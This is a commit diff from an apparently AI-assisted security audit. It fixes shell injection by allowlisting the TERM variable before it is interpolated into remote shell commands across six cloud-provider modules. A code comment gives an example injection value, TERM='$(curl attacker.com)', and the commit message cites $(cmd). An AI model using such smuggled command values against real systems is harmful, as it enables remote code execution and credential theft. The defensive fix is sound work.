security: sanitize TERM env var in interactiveSession to prevent shell injection (#1763)

All 6 cloud providers interpolated process.env.TERM directly into shell
commands without validation. A malicious TERM value (e.g., containing
$(cmd)) would execute on the remote server, potentially exfiltrating
OPENROUTER_API_KEY and other credentials.

Add sanitizeTermValue() allowlist (alphanumeric, dots, hyphens, underscores)
to cli/src/shared/ui.ts and apply it in all interactiveSession functions.

Agent: security-auditor

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
A 2026-02-22 15:11:09 -08:00 committed by GitHub
parent c958d3d41b
commit 63bce1bd04
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
7 changed files with 22 additions and 6 deletions

View file

@ -13,6 +13,7 @@ import {
validateRegionName,
toKebabCase,
defaultSpawnName,
sanitizeTermValue,
} from "../shared/ui";
import type { CloudInitTier } from "../shared/agents";
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
@ -1060,7 +1061,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
}
export async function interactiveSession(cmd: string): Promise<number> {
const term = process.env.TERM || "xterm-256color";
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
const escapedCmd = fullCmd.replace(/'/g, "'\\''");
const proc = Bun.spawn(

View file

@ -11,6 +11,7 @@ import {
validateServerName,
toKebabCase,
defaultSpawnName,
sanitizeTermValue,
} from "../shared/ui";
import type { CloudInitTier } from "../shared/agents";
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
@ -489,7 +490,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
}
export async function interactiveSession(cmd: string): Promise<number> {
const term = process.env.TERM || "xterm-256color";
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
// Interactive mode — drop BatchMode so the PTY works

View file

@ -12,6 +12,7 @@ import {
validateRegionName,
toKebabCase,
defaultSpawnName,
sanitizeTermValue,
} from "../shared/ui";
import type { CloudInitTier } from "../shared/agents";
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
@ -1063,7 +1064,7 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str
export async function interactiveSession(cmd: string, ip?: string): Promise<number> {
const serverIp = ip || doServerIp;
const term = process.env.TERM || "xterm-256color";
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
const proc = Bun.spawn(

View file

@ -13,6 +13,7 @@ import {
validateRegionName,
toKebabCase,
defaultSpawnName,
sanitizeTermValue,
} from "../shared/ui";
import type { CloudInitTier } from "../shared/agents";
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
@ -1036,7 +1037,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
}
export async function interactiveSession(cmd: string): Promise<number> {
const term = process.env.TERM || "xterm-256color";
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
// Shell-quote the command for -C
const escapedCmd = fullCmd.replace(/'/g, "'\\''");

View file

@ -12,6 +12,7 @@ import {
validateServerName,
toKebabCase,
defaultSpawnName,
sanitizeTermValue,
} from "../shared/ui";
import type { CloudInitTier } from "../shared/agents";
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
@ -952,7 +953,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
export async function interactiveSession(cmd: string): Promise<number> {
const username = resolveUsername();
const term = process.env.TERM || "xterm-256color";
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
const proc = Bun.spawn(

View file

@ -12,6 +12,7 @@ import {
validateRegionName,
toKebabCase,
defaultSpawnName,
sanitizeTermValue,
} from "../shared/ui";
import type { CloudInitTier } from "../shared/agents";
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
@ -647,7 +648,7 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str
export async function interactiveSession(cmd: string, ip?: string): Promise<number> {
const serverIp = ip || hetznerServerIp;
const term = process.env.TERM || "xterm-256color";
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
const proc = Bun.spawn(

View file

@ -195,3 +195,13 @@ export function defaultSpawnName(): string {
const suffix = Math.random().toString(36).slice(2, 6);
return `spawn-${suffix}`;
}
/** Sanitize TERM value before interpolating into shell commands.
* SECURITY: Prevents shell injection via malicious TERM env vars
* (e.g., TERM='$(curl attacker.com)' would execute on the remote server). */
export function sanitizeTermValue(term: string): string {
if (/^[a-zA-Z0-9._-]+$/.test(term)) {
return term;
}
return "xterm-256color";
}